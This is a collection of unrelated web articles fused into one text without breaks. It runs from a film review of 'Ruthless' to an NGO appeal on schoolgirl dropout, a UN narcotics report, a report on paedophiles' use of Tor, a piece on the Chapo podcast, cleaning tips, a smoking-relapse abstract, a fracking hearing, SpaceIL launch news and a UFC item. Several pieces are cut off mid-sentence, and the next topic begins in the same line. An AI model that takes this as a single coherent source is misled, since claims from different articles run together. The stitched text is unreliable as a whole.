best and contempt at worst. Yet America keeps coming back for more, time and time again. Then and now, we all desire to become Vendig, even if we do not desire to make all the unpleasant decisions he made on his rise to the top. We want it all, right now, and we want be spared all the ugly details of reality. In our current age of instant gratification, the disconnect between our dream and reality has never been more pronounced. Everyone in popular fiction is magically an expert at a young age, and never had to put in the years of hard work needed to gain true wisdom. Just look at the new Star Trek films, where the crew is more competent than the original cast despite being several decades younger than the original cast was in their movies. We want victory without sacrifice. We want success right now without numerous failures along the way. We are a nation that only a decade ago seemed to blindly believe that victory in Iraq was possible in just six months. Rumsfeld said it, and America believed. If you were one of the few, like me, who laughed at all of that a decade ago, you may remember the looks many people would give you in response to your dissent. While I didn’t realize it at the time, I know now that my dissent actually was un-American. Not in the sense that such dissent went against the principles upon which the nation was founded, but in the sense that such dissent went against America’s current delusional worldview. To state that nothing is ever that easy is an uncomfortable truth to a nation that believes it is more powerful than God. So it is interesting to watch a film from 1948, made in that post-World War II malaise, that openly accepts the fact that profound success is often built off the ruined lives and broken relationships that such narrowly-focused ambition leaves in its wake. Vendig owns the world in the end, but he is left hated and alone. Sure, he doesn’t really seem to care about any of that, and the condemnation leveled at him by Vic never seems to have much of an effect, but at least the film presents the fact that Vendig succeeds due to his unrepentant dickishness in no uncertain terms. Obviously, it doesn’t posit that this is the only path to success, and Vic’s presence as the moral center of the film provides an argument that one can be successful without destroying people’s lives, but in Vendig we find an honest admission that screwing people over can be, if nothing else, an effective strategy to attaining money and power. It stands in stark contrast to the narrative one finds on modern cable news, where every millionaire is a demigod, made so solely from their own honest hard work, and not to be criticized under any circumstances. But I know what some people are going to say: What do I know about money and power? I’m poor, and I am the antithesis of “ruthless”. I’m not sure what we call that nowadays, but I believe the term is “bitch made”. So, yes, I’m poor, “bitch made”, and while I’m 5 feet, 6 inches, and 135 pounds of pure sextasy, I don’t exactly light women’s loins ablaze. That’s ok, though. I listen to Tupac, one of the greatest Americans who ever lived, so I understand the worldview, if only in the abstract. In other words, I get it, even if I don’t. True story. Anyway, Vendig is a total dick in this movie. He steals Martha away from Vic, in a clear violation of the “bros before hos” ethos. He convinces Martha’s father to pay from him to go to Harvard, then bails on Harvard after two years once he gets a good job lined up. In the process, he dumps Martha for Susan, a girl who is the daughter of the Wall Street in-crowd in New York. He schemes to take over the business interests of a gentleman named Mansfield, who is a total piece of shit himself. I know it’s 1948 in the South, but having a full stock of black housekeepers is just ridiculous. Anyway, Vendig is initially defeated by Mansfield, so he begins an affair with Mansfield’s wife to get inside information. Yes, the information about Mansfield’s businesses is printed on the inside of his wife’s vagina. Who knew? Susan eventually happens upon Vendig with Mansfield’s wife Christa, thus ending engagement number two. Vendig, ever the consummate ladies’ man, remains undeterred. After toppling Mansfield once and for all, he marries Christa in a true “landing your command center on the ruins of their old base” move. Of course, after several years, Christa wants a divorce once she realizes that Vendig is a bigger asshole than Mansfield ever was. Vendig lets her go without much of a fight. Who cares, really? The mineral field’s been fully mined at that point anyway. Vendig also has some other great moments, such as when he bullshits Vic into putting up $300,000 into his nefarious anti-Mansfield venture, as well as his treatment of a man named McDonald. McDonald stood by Vendig for years, and helped him with the Mansfield venture, yet when McDonald needed to be loaned five million to keep his bank above water and save his small depositor’s savings, Vendig makes him sit in the waiting room for four days. Vic is aghast when he learns of it, but their argument is cut short by the sound of a gunshot. McDonald shot himself in the waiting room. As Vendig puts it afterward, “I saved this company five million hard-earned dollars.” Shouldn’t he deduct the cleaning costs from that figure? So it all comes crashing down at the end, when Vendig’s final farewell to Vic and Mallory before he sails off into the night is interrupted by a drunken Mansfield bent on revenge. In the struggle, both fall into the water, and are last seen attempting to strangle each other as they sink beneath the waves. Vic, shooken up in the aftermath, is consoled by Mallory, who states that, “He wasn’t a man. He was a way of life.” More than that, though, Vendig was our way of life. We can try to stand apart from Vendig, like Vic and Mallory, but at the end of the day we live within Vendig’s world, however indirectly. All of our attempts to remain above it all, and cast down judgments upon men like Vendig, remain stripped of their power as long as those judgments are cast in a world controlled by men like him. All we can do is stand powerless on the dock of his mansion, futilely trying to do nothing but understand. I still haven’t got off my ass and watched The Wolf of Wall Street, though I plan to do so this weekend. But I suspect that Ruthless may be a nice companion piece to that film. Sure, from what I can gather, it was a B-movie in the 1940’s, and it’s not exactly regarded as a timeless classic from what I can tell. Still, it gives a nice portrait of both Wall Street malfeasance and America’s attitudes towards such matters in 1948. The poster includes the hilarious tagline “Money… Power.. Were His Gods!” It’s hard to imagine any movie today running with a tagline like that. I think we, as a nation, have accepted the fact that money and power are our gods. I don’t mean that every last person in this country worships at their altar, but that we have accepted that these things are a driving force in all of our lives, whether we covet them or not. Or maybe I’m just crazy and don’t know what I’m talking about. I do honestly think that Bad Boys II is one of the greatest films ever made, after all… Share this: Facebook Google Twitter More Tumblr LinkedIn Reddit PinterestAs the Mumbai Marathon approaches, one city-based NGO that has been focusing on reducing the dropout rate of the girl child, is looking to raise money to ensure that the dropout rate comes down drastically. Family Planning Association of India, the country's oldest NGO, is encouraging people to shell out Rs 1,080 per annum to ensure that the girl child does not drop out. As per research collated by FPAI, 53% of girls across India drop out of schools regularly. Of these, 27% have no access to menstrual hygiene products in schools. "20% also drop out due to periods and lack of information around this normal biological function," explains Dr Kalpana Apte, Secretary General FPAI. Dr Apte explains that girls once they attain puberty, require adequate nutrition and balanced meals, along with access to information on growing up. However, most adolescent girls end up with anaemia, lack of information on changes during puberty and societal restrictions. This is largely due to gender bias and lack of information. "The lack of haemoglobin makes them lose concentration, which becomes another reason for them dropping out of school," she adds. FPAI has a solution. A Rs 1080 donation that ensures one of the following: sanitary pads for one girl for a full year; curing a girl of anaemia completely through iron supplements; and empowering a girl with critical life skills". We plan on raising money through the Mumbai Marathon this January. We did our inaugural charity run during the January 2017 race, but we want to escalate it more this year. A number of corporates did participate through various initiatives. If they didn’t run, they donated through the marathon website for our cause," adds Dr Apte. "If corporates do want to participate, they can do it in one of the following ways: running for the cause, fundraising through employee volunteering or through CSR projects within the company," she explained. Dr Apte's concerns in the need to prevent girls from dropping out are understandable. Data suggests that by 2020, in India alone, there will be more than 45 million women of reproductive age - more than all the women of this age in the United Kingdom, France and Germany combined. "There is a strong correlation between high incidence of child marriage and early school drop outs" she says. Educating the girls and their parents is something FPAI has been doing for nearly two decades now. "Each society has its own set of rules. For most, there is a belief that a girl having her periods cannot meet anyone outside. We have slowly made them understand that this isn't the case, and that as long as there are healthy and hygienic practices followed," explains Dr Apte. It's not just the girls that are educated. FPAI also speaks to boys, and the parents. "When we address the girl dropout rate, we speak to the mother. And then along with her, speak to the father. However, in the case of boys and their needs for information, we interact with the father directly also," she adds. Are the stories successful? Dr Apte says that it's a slow, but steady process. There is a trust factor that FPAI has established with villages and talukas across the country in the past 68 years. This has helped the NGO in good stead. "Of course there is resistance, but we don't force our opinions on the families. We rationally explain everything without taking a religious or political stance. Our approach is health and development centred. We also involved the village elders when we have to. Eventually, they come around and this is seen in girls going to school," she explains. In one of the successful strategies that has resulted in delaying child marriages and empowering young people to make their own decisions regarding their reproductive rights, FPA India facilitates both the girls and boys taking a pledge in front of their families, relatives, and in some cases the village elders where they promise that they will master a skill set, and that they will not marry until they are of legal age to do so. "There have been cases that due to the pledge, children, particularly from migrant families, choose not to go back to their village during summer months knowing that marriages often get fixed in villages. Thus, the marriage is delayed for yet another year. Thus they develop their own ways to delay and continue their education. Young people across the country have aspirations to a better life. If we are able to provide them with critical skills, information and opportunities, they can take charge of their own lives. While the results won't be delivered overnight, FPAI's initiative to raise money to ensure girls don't drop out of school is a start towards ensuring gender equality in the country. To support this cause write to run4fp@fpaindia.orgImage copyright AP Image caption Marijuana remains illegal under federal law in the US A UN illegal drugs body has criticised 2012 moves in two US states to legalise recreational use of marijuana. In a new report, the International Narcotics Control Board urged the US federal government to ensure anti-drug treaties were "fully implemented on the entirety of its territory". It also said Afghanistan's response to record levels of land being used to produce opium poppies was lacking. The board also warned that use of the drug ecstasy could rise in Europe. The International Narcotics Control Board (INCB) was established in the 1960s to monitor UN nations' adherence to treaties on the control of narcotic drugs. Broken treaty In the group's latest report, INCB president Raymond Yans said that the organisation remained concerned about initiatives around the world which aimed to legalise the recreational use of cannabis. He said new laws approved by voters in 2012 in two US states, Colorado and Washington State, "contravene the provisions of the drug control conventions, which limit the use of cannabis to medical and scientific use only". “INCB urges the government of the United States to ensure that the treaties are fully implemented on the entirety of its territory.” Image copyright Reuters Image caption Precursor ingredients used to create ecstasy (MDMA) were found in increasing amounts across Europe The group also had concerns over moves to change cannabis laws in Uruguay. The report noted law enforcement agencies across Europe had seen a rise in suburban cannabis operations in which ordinary homes are converted to secret indoor farms. Ecstasy 'comeback' The INCB warned it was "seriously concerned" that Afghanistan needed to do more to stop people farming opium poppies. Increased cultivation over three years has led to a record level of land dedicated to the crop, despite a national eradication campaign. "This situation seriously endangers the aims of the international drug control treaties," said the report, adding the situation would not improve "unless substantial, sustainable and measurable progress is made by the government in anti-drug trafficking, alternative development and drug demand reduction". The report said drug abuse in western and central Europe was either stabilising or declining. But it warned that drug enforcement agencies had been uncovering increasing amounts of "precursor" chemicals used to produce ecstasy, suggesting the drug was "making a comeback".Image: Dean Terry/Flickr Criminals are always one step ahead. While the public can enjoy anonymity tools or hard-drive encryption for privacy and security, people with more nefarious motivations are going to use these technologies to stay undetected, make money, or improve the efficiency of existing criminal enterprises. Nowhere is this more apparent than with pedophiles. Recently, one study claimed that four out of five visits to hidden websites hosted on the anonymity network Tor are to pedophilic content. There were serious caveats with the study: the Tor Project told Wired that law enforcement bots visit these sites constantly to check for new content, skewing the results. Regardless, there is no doubt that anonymous networks are used for accessing child abuse material. And child abusers have been using other freely available encryption and software for decades to protect their identities. "The main thing is, they don't really have special tooling. They don't have anything other than what the general public has," the information security expert known as the Grugq told me. "There is no, as far as I know, pedophile-specific privacy technology." Getting an introduction to the tools these people use to cover their tracks is easy enough. On the uncensored version of The Hidden Wiki, a site that maintains a regularly updated list of what's available on the deep web, is a selection of guides for pedophiles who want to browse, download, or share material. A screenshot from a Hidden Wiki page. We have blacked out the names of sites so as not to direct anyone to illegal child abuse sites Unsurprisingly, the use of Tor, and in particular the Tor Browser Bundle (TBB), is often the first thing mentioned in these guides. Tor, used by journalists, activists, and criminals alike, conceals peoples' identities by routing their traffic through different points all over the world. TBB is just one way to access this network. As well as allowing anonymous browsing, Tor lets people host websites only accessible through the network. These sites, which end in the suffix.onion rather than.com, protect both the visitor to the site and its owner by disguising their IP addresses, as well as the physical location of the site servers. Sites such as these are part of the deep web: the section of the internet unavailable to normal search engines such as Google. The deep web contains lots of boring stuff, such as banal databases. A part of the deep web, though, has been used for criminal purposes: drug sites, weapon vendors and pedophilic sites. One guide listed on The Hidden Wiki, called 'Your Own Pedo Site,' is aimed at those who want to use Tor hidden services to distribute child abuse material. Before going into the technical details on hosting and configuration, the author lists some of the main obstacles in setting up such a site. "Paying to host it is a crime, so payments must be untraceable," he or she writes. Another guide explains how to use Bitcoin to properly hide any payments. "Security requirements are equal or higher than those of banks," the author adds. Detective Roy Calarese works at the Chester County Computer Forensics Lab, whose computer forensics department is considered one of the best in the country. He is very familiar with the challenges these sites present to law enforcement. "There are more difficult cases where the child abuse material is being hosted on the deep web, and much of it is gone very quickly, stuff moves around," he told me. "There is no, as far as I know, pedophile-specific privacy technology" There is evidence of pedophiles using other hidden site systems too. Child abuse material exists on both I2P, a tru
Joaquín “El Chapo” Guzmán with the hip-hop slang term for a drug house (“trap house”). While it often takes on Trump and the alt-right with a sense of comedic genius, Chapo saves its most derisive material for the “libs.” At first blush, the most obvious model for this iteration of the millennial left is the New Left of the 1960s — young activists who attacked the hypocrisy of liberals with similar tactics. And indeed, Chapo could easily be mistaken for the Internet Age version of the Yippies — the Youth International Party, led by 1960s left-wingers Abbie Hoffman and Jerry Rubin, famous for theatrical political high-jinks. In 1968, the Yippies playfully advanced a pig for president, “Pigasus the Immortal,” and advocated group joint-rolling and nude “grope-ins” for peace. But actually, the Chapo left advocates for Old Left socialism. In the 1930s, hundreds of thousands of workers joined the mass labor unions of the Congress of Industrial Organizations (CIO). Even the Communist Party, always suspect in American political life, enjoyed a surge in its American ranks thanks to the relatively common view that the Great Depression sounded the death knell of capitalism. The 1930s left critiqued the limits of New Deal reforms. Some Old Leftists wanted workers to have complete autonomy in their workplaces. Still others, inspired by Soviet Russia, wanted the working class to control the state and command the economy. Many leftists did not go that far, yet at the very least wanted what they called “industrial democracy” — a political and economic system accountable to the needs and desires of the industrial working class. New Deal liberals, who seemed to prefer technocratic tinkering, were considered barriers to such a left-wing vision of America. Chapo’s commentary during the 2016 presidential campaign exposed just how much millennial left ideology resembles 1930s left ideology. Chapo attacked Hillary Clinton and the centrists who have dominated the Democratic Party since Bill Clinton won the presidency in 1992. To the Chapo left, Clinton represents the neoliberal takeover of the Democratic Party. Neoliberalism, from their perspective, is a term of derision for a political philosophy that combines support for things leftists like, such as racial diversity, alongside ideas that run counter to everything they believe, such as the notion that the market is the best mechanism for sorting social goods like education. In this view, the role of Clinton Democrats is to administer the decline of the New Deal, not fight for its expansion through different means. For example, instead of advocating for single-payer health care, Democrats passed Obamacare, a largely ineffective market-based solution. Instead of helping unions build a mass movement that might reshape American society to the benefit of millions, they see the Democratic ethos as technocratic and meritocratic. Which is why Chapo has dedicated entire episodes to lambasting “The West Wing,” Aaron Sorkin’s popular television show that fetishizes the liberal view that a smart, dedicated, well-meaning elite will save us from right-wing Neanderthals. As Chapo often makes clear, this is a naive understanding of politics that ignores power, thus helping facilitate Republican domination. Chapo reflects the broader generational divide on the left side of the American political spectrum between millennials and their neoliberal predecessors. Like their Depression-era forerunners, Chapo-listening millennials have moved closer to socialism in response to an economic crisis. Millennials are likely to be worse off economically than their parents or grandparents, especially those who have become job-seeking adults in the years since the Great Recession of 2008. A left-wing political response to such conditions makes sense. A podcast does not make the left, any more than little magazines made the Old Left. But in the same way that historians now think about The Masses, Max Eastman’s experimental little magazine that gave voice to the hopes and dreams of the socialist left in the years proceeding World War I, we might come to think about Chapo as the voice of a new left, the millennial left, coming into being.In a heated phone call with House Speaker Nancy Pelosi late last month, Hillary Clinton supporter Harvey Weinstein threatened to cut off campaign money to congressional Democrats unless Pelosi embraced a new plan by the movie mogul to finance a revote of the Democratic presidential primaries in Florida and Michigan, according to three officials who were briefed on the contents of the conversation. The three officials, who spoke on condition of anonymity because they were not authorized to talk publicly about the private phone conversation, said Weinstein, a top supporter of Clinton's presidential campaign, appeared determined to buy Clinton more time in her battle against Sen. Barack Obama by pushing for the revote and pressing Pelosi to back off her previous comments that superdelegates should support the candidate who's leading in pledged delegates in early June.Cleaning up your apartment is a necessary evil. On the one hand, you can't live in your filth (or shouldn't, at least) but on the other hand, cleaning up is kind of exhausting and generally doesn't feature in people's lists of "Things I Like To Do To Relax." If you can relate to that sentiment, fear not! Here are several great cleaning tips and tricks specifically for lazy people. 1. Use a lint roller to dust lampshades, shelves, and mantles. BuzzFeed 2. Wear "Swiffer Socks" to dust the floor. anenglishaccent Those fuzzy, incredibly cozy socks are also great for picking up dust from the floor! 3. Use fewer dishes. BuzzFeed Instead of making more dirty dishes that you'll have to wash, try to eat out of the original container whenever possible. 4. Line baking trays with foil before baking anything for easy cleanup after. Wordpress 5. Use furniture polish to put a shine on anything. smithocracy Just don't do the floor - it'll become too slippery. 6. Seriously, stop making dishes! Reddit I'd like to shake hands with the mad genius who devised this. Advertisement 7. Use liquid shower gel instead of soap to avoid soap scum buildup in the tub. nwgroutworks Since body wash is technically a detergent, it's formulated to prevent the buildup caused by fats and oils in soap. 8. Pick up crumbs with tape. Whisper 9. Clean the blender by blending soap and water. asksarah 10. Use plastic food wrap to make clean-up easier. mommysavers 11. Disinfect your sponge and clean your microwave all at once. mommysavers Nuke a damp sponge on high to kill bacteria. The steamy vapor from the sponge will help loosen up stuck-on nastiness. 12. Tape a dryer sheet over an air conditioner to freshen up the room. viralupdate 13. Keep some cleaning liquid in the bottom of the toilet brush holder. lifeh4cks Advertisement 14. You can wash a ton of stuff in your dishwasher. Newsiosity If you're lucky enough to have one, that is. Here's a full list of things you can wash in a dishwasher. 15. Clean greasy, gunky gas burners by sealing them in a plastic bag full of ammonia. thevspotblog Leave overnight, then wipe with a sponge. 16. Clean your coffee maker by running a brew cycle using equal parts water and white vinegar. Martha Stewart 17. Soak non-toxic, biodegradable dryer sheets in a pan to remove stuck-on messes. sherrylwilson No fuss, no muss! Giphy Remember to SHARE these great tips with your family and friends.We followed 235 adults for one year after a self-initiated attempt to stop smoking cigarettes. Relapse rates were much larger than expected in the early days and weeks after the quit attempt. Approximately 62% had relapsed by 2 weeks after their quit dates. Those who smoked any cigarettes at all in the post-cessation period (i.e., lapsed) had a 95% probability of resuming their regular pattern of smoking subsequently. Shorter periods of abstinence on prior quit attempts, greater pre-cessation consumption of alcoholic beverages, and lower pre-cessation levels of confidence in quitting were related to relapse. In addition, abstainers who reported decreased confidence after cessation concerning their ability to maintain abstinence were more likely to relapse thereafter. The presence of a greater proportion of smokers in the subjects' environment also increased the likelihood of relapse. Demographic variables such as age, gender, and education level did not predict relapse. Likewise, neither baseline psychosocial stress levels, nor post-cessation increases in stress were related prospectively to relapse. Clinical implications of finding are discussed.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email A GENERATION of young people is effectively being "raised online" by spending their free time on internet sites such as Facebook and MySpace, a report said today. Research by the Institute for Public Policy Research (IPPR) suggests many teenagers are spending more than 20 hours a week online, staying up into the early hours of the morning and leaving their mobile phones on all night in case they receive a text message. It warns a lack of parental knowledge and understanding means that few have any idea about what their children are doing online. This new research, titled Behind the Screen: the Hidden Life of Youth and published next month, comes ahead of the final report of the Byron Review of children and new technology, set up by Gordon Brown in 2007 and headed by Dr Tanya Byron. The report argues that with children being "raised online" the Government and internet companies need to do more to protect them from inappropriate content and to promote and enforce guidelines on the limits of acceptable behaviour. Kay Withers, IPPR research fellow and report author, said: "The internet offers great benefits and opportunities for young people. But with kids spending an ever-increasing amount of time online, parents need to be reassured about what they are looking at. Parents "Government needs to improve media literacy programmes for kids and to make sure parents are aware of how they can support young people's positive online experiences. "But more importantly internet companies need to take more responsibility for the content on their sites and promote acceptable behaviour." The report found four out of five children aged five to 15 have access to the internet at home. Almost half of children (49%) between aged eight and 11, and eight out of ten aged 12 to 15 have their own mobile phone. More than two-thirds (71%) of 12 to 15s say they mostly use the internet unsupervised at home. It says that while many websites have their own guidelines, these are not always properly enforced. The researchers found that on YouTube, a search for the term "happy slap" delivered 117 videos posted in the last week and "street fight" 312 videos. The report found 57% of children have reported having come into contact with pornography on the internet, most of it accidentally such as in the form of pop-up adverts, and a quarter had received pornographic spam (junk emails). The report will recommend that communication industry regulator Ofcom should produce an annual report on the effectiveness of initiatives aimed at tackling harmful internet content. It says internet sites popular with young people, such as social networking sites MySpace and Bebo and video-sharing website YouTube, should develop industry guidelines setting out the limits of what young people can expect and how young people are expected to behave in return. Risks It also recommends parents should be given help to learn how to use the internet so they can ensure their children are not being exposed to "unnecessary risks" online. Unlike television programmes, internet content is not subject to any legal restrictions such as the Obscene Publications Act, Sexual Offences Act, and laws relating to race hatred, defamation and libel. The Byron Review was set up in September 2007 by the Prime Minister. Headed by Dr Tanya Byron the review is examining the risks to children from exposure to potentially harmful or inappropriate material on the internet and in video games. The Culture, Media and Sport Select Committee is currently conducting an inquiry into the potential risks from harmful material on the internet and in video games. Read more on this issue via the links on the right of this page. What do you think? Have your say below.Google called it quits on a smart thermostat two years ago, but it looks like the company couldn't resist circling back to the idea. According to two of The Information's sources and a document reviewed by the outlet, Mountain View has been conducting a trial of Internet-connected thermostats to help users keep tabs on their energy use and adjust accordingly. As part of a project reportedly dubbed EnergySense, the hardware itself seems to be created by a third party such as Ecobee. While Ecobee CEO Stuart Lombard says the firm isn't working with Google, he adds the search giant could still be using its hardware. Page and Co.'s effort isn't intended to compete directly with Nest, according to one of the chatty people familiar with the matter. It's said that Google's goal is to toy with making the energy grid more efficient and build applications and services with the data it collects. Non-employees are apparently being enlisted as "Trusted Testers" to give the service a whirl in St. Louis, Missouri and potentially other areas. There's no scuttlebutt regarding when the pilot might make it to primetime, so a Nest will just have to do for now. [Original image credit: Stephanie Conrad, Flickr]- The St. Petersburg City Council Thursday approved borrowing tens of millions of dollars to build a new St. Pete Pier, and millions more to upgrade the acreage leading out to the Pier and for other waterfront improvements. The unanimous vote came after a presentation of a nearly-final design, and a discussion of features unaffordable within the current budget. Several council members said the extras need to be included. "We need to do this once, not twice, three times, four times," councilman Charlie Gerdes stressed. "Those are in many respects the projects that people feel passionately about doing in this," councilman Karl Nurse said. Both were referring to a "water lounge" at the end of the new pier, a kayak launch and boathouse midway out on the new pier and an enhanced splash pad at the foot of the pier. "If it costs us $5 million... I don't think that when we look back, we'll be sorry that we did that," Nurse said. Mayor Rick Kriseman repeated his resolve to stay within the $33 million available for construction costs, but added, "we are at a point where there's continued opportunity to sharpen pencils and look for ways of doing some of these add-ons." The architectural and engineering design team said the extra features will be included in building plans and permit applications, so they can built at the same time as the actual pier should more money be found. The project is expected to completed sometime in 2018.1,200 hear Marcellus Shale debate EPA hearing in Southpointe one of four nationwide Concerns about the risk of water contamination and public health problems from Marcellus Shale drilling dominated a sometimes loud U.S. Environmental Protection Agency hearing in Southpointe attended by 1,200 people Thursday night. Although EPA officials told those in attendance the meeting was not about drilling policy, most of the more than 100 speakers let it be known that they oppose Marcellus Shale drilling in the state, and many shared personal stories of contaminated wells, dead farm animals and damaged health. They attributed the problems to water contamination caused by the deep gas drilling operations that are increasing quickly through much of the state. Several urged that a moratorium on Marcellus Shale drilling be enacted until the EPA finishes its study scheduled for the end of 2012. Erica Staff, of PennEnvironment, a statewide environmental group, was joined by many speakers in requesting that the EPA broaden its study of the hydraulic fracturing process, known in the industry as "fracking." "I urge EPA to expand the scope of the study to include the entire life cycle of gas extraction," Ms. Staff said. Myron Arnowitt, state director for Clean Water Action, said the EPA needs to look at industry practices that have caused the state Department of Environmental Protection to issue 565 violations at 207 of the 1,458 wells drilled into the Marcellus Shale in Pennsylvania since 2005. "Eighty of the violations are for illegal disposal of wastewater, and 115 of them were for frack pit violations, and those are serious and need to be investigated by the EPA," Mr. Arnowitt said. The hearing was the third of four meetings scheduled around the country by the EPA to provide information and gather comments about its proposed $1.9 million study of the risks to surface and ground water from fracking, a high-pressure, water intensive, procedure used in deep natural gas well drilling to free the gas from dense rock layers a mile or more underground. The EPA held hearings in Fort Worth, Texas, and Denver earlier this month, and next month will hold the last hearing in Binghamton, N.Y. The drilling technique, used in deep shale and coal beds from Texas to Colorado to Pennsylvania, pumps up to 8 million gallons water and chemical additives -- some of them toxic -- mixed with sand or similar materials down a well under high pressure. The "fracking fluid" causes the shale or coal to crack and the sand props the rock layers apart, allowing the gas trapped there to escape up the well. Some of the contaminated water also returns to the surface and must be collected and disposed of or reused in other wells. The drilling industry, which emphasizes the economic benefits of tapping into one of the largest unconventional gas fields in the world, says fracking has been used successfully and safely for more than 50 years in many shallow gas wells in Pennsylvania. "Fracking is neither a new nor controversial process," said Lou D'Amico, president and executive director of the Pennsylvania Independent Oil and Gas Association. "Any controversy is based on hysteria, not facts. It's had no negative impact on groundwater anywhere it's been used." James Erb, who spoke as a representative of the American Petroleum Institute, said his members know that fracking is a public concern and support the EPA's review of the technology. "We intend to be active in the study plan developments and its implementation," Mr. Erb said. "We are confident it will show no risk to human health, water resources or the environment." But environmentalists say the use of fracking in the Marcellus Shale bed that underlies three-fourths of Pennsylvania expands its impact on water supplies and quality. Terry Greenwood, a Washington County farmer, said he lost 10 calves, eight of them stillborn and another born with a cleft palate, after Marcellus gas wells were drilled near his property. "My water went bad, but the DEP said it was just farmers' bad luck," he said. "But since I fenced off my pond in 2009, I haven't had any problems. I think clean water is more important than gas." In its announcement of public hearings for its study in June, the EPA noted that "serious concerns have been raised about hydraulic fracturing's potential impact on drinking water, human health and the environment." In a statement released Wednesday, the EPA said that while natural gas "plays a key role in our nation's clean energy future and the process known as hydraulic fracturing is one way of accessing that vital resource... there are serious questions about whether the process of hydraulic fracturing impacts drinking water, human health and the environment and further study is warranted." The agency said the public hearings are part of the process of launching that study and promised to utilize the best available science and consider public input. "We see an opportunity, too, for more case studies," said Robert Puls, of the EPA's National Risk Management Laboratory. "We'll also look at vulnerable water resources, both in terms of their distance from a drill site and the intensity of well development. Because of that, the risk could be greater both in terms of water quality and quantity." As if to emphasize the high stakes of the gas drilling in the Marcellus Shale, industry and environmental groups staged competing news conferences immediately prior to Thursday evening's hearing. A 2004 EPA review of earlier hydraulic fracturing studies identified health risks associated with some of the lubricating chemicals in the fracking fluid, and noted that the fracturing process could create pathways through which methane can contaminate drinking water wells, but concluded that it found no link between "fracking" and contamination of drinking water supplies. That review, which was used to exempt hydrologic fracturing from regulation by the EPA under the federal Safe Drinking Water Act, has been widely criticized by scientists and environmental organizations for failing to take into account case studies of existing contamination. The new EPA fracking study proposal was prompted by last year's introduction of legislation -- H.B. 2766, also known as the "FRAC Act" -- that would remove the hydraulic fracturing exemptions that were granted in 2005. The industry is opposed to EPA regulation of the fracking process and has lobbied against passage of the bill. Thursday night's hearing capped an active week on the Marcellus Shale issue. On Tuesday, Pittsburgh passed a resolution demanding that the state impose a one-year moratorium -- similar to that already in place in New York -- on drilling into the 450-million-year-old Devonian formation, the hottest natural gas "play," or deposit, in the nation. Wednesday evening a standing-room-only crowd of more than 200 attended an Allegheny County Council hearing that focused on Marcellus well drilling in Allegheny County an its potential impacts on the environment and the health of residents and also its economic benefits. The Marcellus Shale Coalition issued a statement calling the city's moratorium resolution "unfortunate, unnecessary and, frankly, ill-advised" while citing industry job growth and downplaying environmental risks. PennEnvironment commended the city for recognizing that "the gas drilling industry's track record of spills and violations demonstrates a need for additional rules and laws that protect our rivers, drinking water, open spaces, clean air, and public health." Also this week, the state Department of Environmental Protection ordered Cabot Oil & Gas Corp. within 60 days to fix permanently the water supplies in 14 homes in Dimock, Susquehanna County, that were contaminated by the company's gas well drilling operations. The DEP said it would lift a ban on reviewing new gas well applications by Cabot after the company permanently plugged three of the wells. An industry study, released Wednesday and paid for by the American Petroleum Institute, said Marcellus Shale gas production could create 280,000 new jobs region-wide, and add $6 billion in new tax revenue to local state and federal governments over the next decade. The study, authored by Timothy Consindine of Natural Resource Economics, a Wyoming consulting firm that does work for the industry, said about 100,000 of those jobs could be created in Pennsylvania and West Virginia. When he worked for Penn State University, Mr. Consindine was also the author of a 2009 report that predicted Marcellus Shale drilling would have a multi-billion dollar impact and create 175,000 jobs in Pennsylvania by 2020. The report was criticized because it did not disclose that it was funded by the Macellus Shale Coalition, a pro-industry advocacy organization. The state Environmental Quality Board also held a hearing Thursday night in Pittsburgh on proposed state regulatory changes to improve the safety of oil and gas wells and protect the Pennsylvania's water supplies from contamination. The tighter well construction standards are intended to prevent natural gas from migrating from a well to adjacent, shallow ground water where it contaminate the water supply and cause dangerous concentrations to accumulate in homes and structures. Because of the conflict with the EPA hearing, the EQB will hold a repeat hearing at 7 p.m. Monday in the state Department of Environmental Protection's Waterfront Conference room A and B, 400 Waterfront Drive, Washington's Landing. First published on July 23, 2010 at 12:00 amIt looks like we may have a new kind of space race. An Israel-based nonprofit competing for the $30 million Google Lunar X Prize now has a ride to the lunar surface and a legitimate chance to become the first private group to land a spacecraft on the moon. See also: A company just booked a ride to space for the first private moon landing SpaceIL announced Wednesday that it has a contract to fly to the moon aboard a SpaceX Falcon 9 rocket. If SpaceIL or another team competing for the X Prize succeeds, it will effectively open up access to the moon, which was once only accessible for nations. SpaceIL’s rocket ride is scheduled to blast off in the second half of 2017. If the mission is a success, it will be the first time an Israeli spacecraft has gone to the moon. The nonprofit bought the launch from Spaceflight Industries, which purchased the Falcon 9 that SpaceIL's lander will fly to space aboard. “It is a great feeling of accomplishment, but we still have a long way to go," Eran Privman, SpaceIL CEO, told Mashable via email. "Although it is a private mission, we feel that the whole nation is behind us, feeling proud." SpaceIL's possible flight plan. Image: Courtesy of Spaceflight This is the first time a Google Lunar X Prize team has had its launch contract verified by X Prize itself, though it isn’t the first time a team has announced a contract with a launch provider. The team Moon Express has also announced a contract for launch, though that team has gone through the verification process, according to Google Lunar X Prize. Moon Express plans to launch its first of five moonshots aboard Rocket Lab’s Electron rockets in 2017. SpaceIL’s launch contract cost more than $10 million, which the nonprofit fundraised. It was purchased through Spaceflight Industries, Privman said. The team still has a lot to do before launch in a couple years. SpaceIL's lander. Image: SpaceIL “On the fundraising aspect, we still need to raise about $10 million in the next two years,” Privman said. “On the engineering side, we need to continue with the development of all the spacecraft's components, run different tests and bring all the parts to the integration lab (where our spacecraft will be assembled).” The remaining 15 teams now have until the end of 2016 to verify (and acquire) launch contracts that would have them touching down on the lunar surface before Dec. 31, 2017 in order to be eligible to win the grand prize. Once on the moon, teams need to show that their robotic crafts can send high-definition videos and photos to Earth and move at least 500 meters. Oct. 27 UPDATE at 10:40 a.m. ET: This story originally stated that the team Astrobotic also has a contract for launching to the moon, but that is not the case. The team did have a contract to fly to the moon with SpaceX, but they had to put it on hold.Labor laws? As if! Ultimate Fighting Championship (UFC) will only allow super popular fighters (like this guy) to withdraw from their mixed martial arts (MMA) bouts. The rest of the roster will be forced to fight — injured, if need be — come hell or high water. That’s according to former UFC lightweight Mehdi Baghdad, who was forced to cancel his Jon Tuck showdown at the ill-fated UFC Fight Night 97 combat sports spectacle slated for UFC Fight Pass in Manila. The result was his unconditional release. “I was in emergency the night before I gave the bad news that I had to pull out,” Baghdad told The MMA Circus (via Bloody Elbow). “I called my manager, my manager called Joe Silva. And Joe Silva just answered back like, ‘You need to pull out? We cut you.’ And my manager said, ‘Come on, man, you can’t do that! The doctor said that he has to do surgery; he can’t fight. And then he force himself to fight? 